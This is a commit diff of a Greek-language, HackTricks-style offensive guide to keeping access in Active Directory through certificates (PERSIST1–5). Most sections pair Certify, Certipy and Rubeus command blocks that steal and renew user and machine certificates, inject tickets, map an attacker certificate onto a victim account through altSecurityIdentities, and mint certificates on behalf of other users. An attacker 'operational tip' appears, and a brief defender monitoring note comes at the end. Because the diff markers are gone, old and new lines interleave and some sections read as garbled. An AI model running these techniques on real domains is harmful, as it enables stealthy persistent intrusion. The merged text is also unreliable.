Translated ['src/windows-hardening/active-directory-methodology/ad-certi

This commit is contained in:
Translator 2025-08-19 00:22:29 +00:00
parent 54fe06f064
commit 9c27da2bbf

View File

@ -2,55 +2,131 @@
{{#include ../../../banners/hacktricks-training.md}}
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων επιμονής μηχανής της καταπληκτικής έρευνας από [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων για την επιμονή λογαριασμού από την καταπληκτική έρευνα του [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
## **Κατανόηση της Κλοπής Διαπιστευτηρίων Ενεργού Χρήστη με Πιστοποιητικά PERSIST1**
## Κατανόηση της Κλοπής Διαπιστευτηρίων Ενεργού Χρήστη με Πιστοποιητικά PERSIST1
Σε ένα σενάριο όπου ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση τομέα μπορεί να ζητηθεί από έναν χρήστη, ένας επιτιθέμενος έχει την ευκαιρία να **ζητήσει** και να **κλέψει** αυτό το πιστοποιητικό για να **διατηρήσει την επιμονή** σε ένα δίκτυο. Από προεπιλογή, το πρότυπο `User` στο Active Directory επιτρέπει τέτοιες αιτήσεις, αν και μπορεί μερικές φορές να είναι απενεργοποιημένο.
Σε ένα σενάριο όπου ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση τομέα μπορεί να ζητηθεί από έναν χρήστη, ένας επιτιθέμενος έχει την ευκαιρία να ζητήσει και να κλέψει αυτό το πιστοποιητικό για να διατηρήσει την επιμονή σε ένα δίκτυο. Από προεπιλογή, το πρότυπο `User` στο Active Directory επιτρέπει τέτοιες αιτήσεις, αν και μπορεί μερικές φορές να είναι απενεργοποιημένο.
Χρησιμοποιώντας ένα εργαλείο που ονομάζεται [**Certify**](https://github.com/GhostPack/Certify), μπορεί κανείς να αναζητήσει έγκυρα πιστοποιητικά που επιτρέπουν μόνιμη πρόσβαση:
Χρησιμοποιώντας το [Certify](https://github.com/GhostPack/Certify) ή το [Certipy](https://github.com/ly4k/Certipy), μπορείτε να αναζητήσετε ενεργά πρότυπα που επιτρέπουν την αυθεντικοποίηση πελάτη και στη συνέχεια να ζητήσετε ένα:
```bash
# Enumerate client-auth capable templates
Certify.exe find /clientauth
```
Είναι επισημασμένο ότι η δύναμη ενός πιστοποιητικού έγκειται στην ικανότητά του να **αυθεντικοποιεί ως ο χρήστης** στον οποίο ανήκει, ανεξάρτητα από οποιεσδήποτε αλλαγές κωδικών πρόσβασης, εφόσον το πιστοποιητικό παραμένει **έγκυρο**.
Τα πιστοποιητικά μπορούν να ζητηθούν μέσω γραφικής διεπαφής χρησιμοποιώντας `certmgr.msc` ή μέσω της γραμμής εντολών με `certreq.exe`. Με το **Certify**, η διαδικασία για να ζητηθεί ένα πιστοποιητικό απλοποιείται ως εξής:
```bash
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
```
Μετά από επιτυχημένο αίτημα, ένα πιστοποιητικό μαζί με το ιδιωτικό του κλειδί δημιουργείται σε μορφή `.pem`. Για να το μετατρέψετε σε αρχείο `.pfx`, το οποίο είναι χρήσιμο σε συστήματα Windows, χρησιμοποιείται η εξής εντολή:
Η δύναμη ενός πιστοποιητικού έγκειται στην ικανότητά του να αυθεντικοποιεί ως ο χρήστης στον οποίο ανήκει, ανεξάρτητα από τις αλλαγές κωδικών πρόσβασης, εφόσον το πιστοποιητικό παραμένει έγκυρο.
Μπορείτε να μετατρέψετε το PEM σε PFX και να το χρησιμοποιήσετε για να αποκτήσετε ένα TGT:
```bash
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
Το αρχείο `.pfx` μπορεί στη συνέχεια να μεταφορτωθεί σε ένα στοχοθετημένο σύστημα και να χρησιμοποιηθεί με ένα εργαλείο που ονομάζεται [**Rubeus**](https://github.com/GhostPack/Rubeus) για να ζητήσει ένα Ticket Granting Ticket (TGT) για τον χρήστη, επεκτείνοντας την πρόσβαση του επιτιθέμενου για όσο διάστημα το πιστοποιητικό είναι **έγκυρο** (τυπικά ένα έτος):
```bash
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
```
Ένα σημαντικό προειδοποιητικό μήνυμα μοιράζεται σχετικά με το πώς αυτή η τεχνική, σε συνδυασμό με μια άλλη μέθοδο που περιγράφεται στην ενότητα **THEFT5**, επιτρέπει σε έναν επιτιθέμενο να αποκτήσει μόνιμα το **NTLM hash** ενός λογαριασμού χωρίς να αλληλεπιδρά με την Υπηρεσία Υποσυστήματος Τοπικής Ασφάλειας (LSASS), και από ένα μη ανυψωμένο περιβάλλον, παρέχοντας μια πιο διακριτική μέθοδο για μακροχρόνια κλοπή διαπιστευτηρίων.
## **Gaining Machine Persistence with Certificates - PERSIST2**
# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
Μια άλλη μέθοδος περιλαμβάνει την εγγραφή του λογαριασμού μηχανής ενός συμβιβασμένου συστήματος για ένα πιστοποιητικό, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine` που επιτρέπει τέτοιες ενέργειες. Εάν ένας επιτιθέμενος αποκτήσει ανυψωμένα δικαιώματα σε ένα σύστημα, μπορεί να χρησιμοποιήσει τον λογαριασμό **SYSTEM** για να ζητήσει πιστοποιητικά, παρέχοντας μια μορφή **persistence**:
# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
```
> Σημείωση: Συνδυασμένο με άλλες τεχνικές (βλ. ενότητες ΚΛΟΠΗΣ), η αυθεντικοποίηση με βάση πιστοποιητικά επιτρέπει μόνιμη πρόσβαση χωρίς να αγγίξει το LSASS και ακόμη και από μη ανυψωμένα περιβάλλοντα.
## Απόκτηση Μηχανικής Μόνιμης Πρόσβασης με Πιστοποιητικά - PERSIST2
Εάν ένας επιτιθέμενος έχει ανυψωμένα δικαιώματα σε έναν υπολογιστή, μπορεί να εγγραφεί ο λογαριασμός μηχανής του παραβιασμένου συστήματος για ένα πιστοποιητικό χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine`. Η αυθεντικοποίηση ως η μηχανή επιτρέπει το S4U2Self για τοπικές υπηρεσίες και μπορεί να παρέχει ανθεκτική μόνιμη πρόσβαση στον υπολογιστή:
```bash
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
```
Αυτή η πρόσβαση επιτρέπει στον επιτιθέμενο να αυθεντικοποιηθεί στο **Kerberos** ως ο λογαριασμός μηχανής και να χρησιμοποιήσει το **S4U2Self** για να αποκτήσει εισιτήρια υπηρεσίας Kerberos για οποιαδήποτε υπηρεσία στον υπολογιστή, παρέχοντας ουσιαστικά στον επιτιθέμενο μόνιμη πρόσβαση στη μηχανή.
## Extending Persistence Through Certificate Renewal - PERSIST3
## **Επέκταση της Μόνιμης Πρόσβασης Μέσω Ανανέωσης Πιστοποιητικών - PERSIST3**
Η κακή χρήση των περιόδων εγκυρότητας και ανανέωσης των προτύπων πιστοποιητικών επιτρέπει σε έναν επιτιθέμενο να διατηρεί μακροχρόνια πρόσβαση. Εάν κατέχετε ένα προηγουμένως εκδοθέν πιστοποιητικό και το ιδιωτικό του κλειδί, μπορείτε να το ανανεώσετε πριν από την λήξη του για να αποκτήσετε μια νέα, μακροχρόνια διαπιστευτήρια χωρίς να αφήσετε επιπλέον αποδεικτικά στοιχεία αιτήσεων που να σχετίζονται με τον αρχικό φορέα.
```bash
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
Η τελευταία μέθοδος που συζητείται περιλαμβάνει την εκμετάλλευση της **ισχύος** και των **περιόδων ανανέωσης** των προτύπων πιστοποιητικών. Με την **ανανεώση** ενός πιστοποιητικού πριν από την λήξη του, ένας επιτιθέμενος μπορεί να διατηρήσει την αυθεντικοποίηση στο Active Directory χωρίς την ανάγκη για επιπλέον εγγραφές εισιτηρίων, οι οποίες θα μπορούσαν να αφήσουν ίχνη στον διακομιστή Αρχής Πιστοποίησης (CA).
# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> Επιχειρησιακή συμβουλή: Παρακολουθήστε τις διάρκειες των PFX αρχείων που κατέχει ο επιτιθέμενος και ανανεώστε νωρίς. Η ανανέωση μπορεί επίσης να προκαλέσει την ενημέρωση των πιστοποιητικών ώστε να περιλαμβάνουν την σύγχρονη επέκταση χαρτογράφησης SID, διατηρώντας τα λειτουργικά υπό αυστηρότερους κανόνες χαρτογράφησης DC (βλ. επόμενη ενότητα).
### Ανανεώση Πιστοποιητικού με το Certify 2.0
## Φύτευση Ρητών Χαρτογραφήσεων Πιστοποιητικών (altSecurityIdentities) PERSIST4
Αρχίζοντας με το **Certify 2.0**, η ροή εργασίας ανανέωσης είναι πλήρως αυτοματοποιημένη μέσω της νέας εντολής `request-renew`. Δεδομένου ενός προηγουμένως εκδοθέντος πιστοποιητικού (σε μορφή **base-64 PKCS#12**), ένας επιτιθέμενος μπορεί να το ανανεώσει χωρίς να αλληλεπιδράσει με τον αρχικό κάτοχο τέλειο για διακριτική, μακροχρόνια μόνιμη πρόσβαση:
Εάν μπορείτε να γράψετε στο χαρακτηριστικό `altSecurityIdentities` ενός στόχου λογαριασμού, μπορείτε να χαρτογραφήσετε ρητά ένα πιστοποιητικό που ελέγχεται από τον επιτιθέμενο σε αυτόν τον λογαριασμό. Αυτό παραμένει ενεργό κατά τις αλλαγές κωδικών πρόσβασης και, όταν χρησιμοποιούνται ισχυρές μορφές χαρτογράφησης, παραμένει λειτουργικό υπό την σύγχρονη επιβολή DC.
Γενική ροή:
1. Αποκτήστε ή εκδώστε ένα πιστοποιητικό αυθεντικοποίησης πελάτη που ελέγχετε (π.χ., εγγραφείτε στο πρότυπο `User` ως εσείς).
2. Εξαγάγετε έναν ισχυρό αναγνωριστικό από το πιστοποιητικό (Issuer+Serial, SKI ή SHA1-PublicKey).
3. Προσθέστε μια ρητή χαρτογράφηση στο `altSecurityIdentities` του θύματος χρησιμοποιώντας αυτόν τον αναγνωριστικό.
4. Αυθεντικοποιηθείτε με το πιστοποιητικό σας; το DC το χαρτογραφεί στο θύμα μέσω της ρητής χαρτογράφησης.
Παράδειγμα (PowerShell) χρησιμοποιώντας μια ισχυρή χαρτογράφηση Issuer+Serial:
```powershell
Certify.exe request-renew --ca SERVER\\CA-NAME \
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Η εντολή θα επιστρέψει ένα νέο PFX που είναι έγκυρο για άλλη μια πλήρη διάρκεια ζωής, επιτρέποντάς σας να συνεχίσετε την αυθεντικοποίηση ακόμη και μετά την λήξη ή την ανάκληση του πρώτου πιστοποιητικού.
Στη συνέχεια, αυθεντικοποιηθείτε με το PFX σας. Το Certipy θα αποκτήσει ένα TGT απευθείας:
```bash
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
```
Σημειώσεις
- Χρησιμοποιήστε μόνο ισχυρούς τύπους αντιστοίχισης: X509IssuerSerialNumber, X509SKI ή X509SHA1PublicKey. Οι αδύναμοι μορφές (Subject/Issuer, Subject-only, RFC822 email) είναι παρωχημένες και μπορούν να αποκλειστούν από την πολιτική του DC.
- Η αλυσίδα πιστοποίησης πρέπει να καταλήγει σε μια ρίζα που εμπιστεύεται το DC. Οι Enterprise CAs στο NTAuth είναι συνήθως αξιόπιστες; ορισμένα περιβάλλοντα εμπιστεύονται επίσης δημόσιες CAs.
Για περισσότερα σχετικά με τις αδύναμες ρητές αντιστοιχίσεις και τις διαδρομές επίθεσης, δείτε:
{{#ref}}
domain-escalation.md
{{#endref}}
## Enrollment Agent ως Επιμονή PERSIST5
Εάν αποκτήσετε ένα έγκυρο πιστοποιητικό Certificate Request Agent/Enrollment Agent, μπορείτε να δημιουργήσετε νέες πιστοποιήσεις ικανές για σύνδεση εκ μέρους των χρηστών κατά βούληση και να διατηρήσετε το PFX του πράκτορα εκτός σύνδεσης ως ένα διακριτικό επιμονής. Κατάχρηση ροής εργασίας:
```bash
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
```
Η ανάκληση του πιστοποιητικού του πράκτορα ή των δικαιωμάτων του προτύπου είναι απαραίτητη για την απομάκρυνση αυτής της επιμονής.
## 2025 Ενίσχυση Ισχυρού Χαρτοφυλακίου Πιστοποιητικών: Επιπτώσεις στην Επιμονή
Η Microsoft KB5014754 εισήγαγε την Ενίσχυση Ισχυρού Χαρτοφυλακίου Πιστοποιητικών στους ελεγκτές τομέα. Από τις 11 Φεβρουαρίου 2025, οι DC προεπιλέγουν την Πλήρη Ενίσχυση, απορρίπτοντας αδύνατους/αμφίβολους χάρτες. Πρακτικές επιπτώσεις:
- Πιστοποιητικά πριν το 2022 που δεν διαθέτουν την επέκταση χαρτοφυλακίου SID ενδέχεται να αποτύχουν σε έμμεσο χάρτη όταν οι DC είναι σε Πλήρη Ενίσχυση. Οι επιτιθέμενοι μπορούν να διατηρήσουν την πρόσβαση είτε ανανεώνοντας τα πιστοποιητικά μέσω AD CS (για να αποκτήσουν την επέκταση SID) είτε φυτεύοντας έναν ισχυρό ρητό χάρτη στο `altSecurityIdentities` (PERSIST4).
- Οι ρητοί χάρτες που χρησιμοποιούν ισχυρές μορφές (Issuer+Serial, SKI, SHA1-PublicKey) συνεχίζουν να λειτουργούν. Οι αδύνατες μορφές (Issuer/Subject, Subject-only, RFC822) μπορούν να αποκλειστούν και θα πρέπει να αποφεύγονται για επιμονή.
Οι διαχειριστές θα πρέπει να παρακολουθούν και να ειδοποιούν για:
- Αλλαγές στο `altSecurityIdentities` και εκδόσεις/ανανεώσεις πιστοποιητικών Enrollment Agent και Χρήστη.
- Καταγραφές έκδοσης CA για αιτήματα εκ μέρους και ασυνήθιστους κύκλους ανανέωσης.
## Αναφορές
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
- Microsoft. KB5014754: Αλλαγές στην πιστοποίηση βάσει πιστοποιητικών στους ελεγκτές τομέα Windows (χρονοδιάγραμμα επιβολής και ισχυροί χάρτες).
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Wiki Αναφορά Εντολών (`req -renew`, `auth`, `shadow`).
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}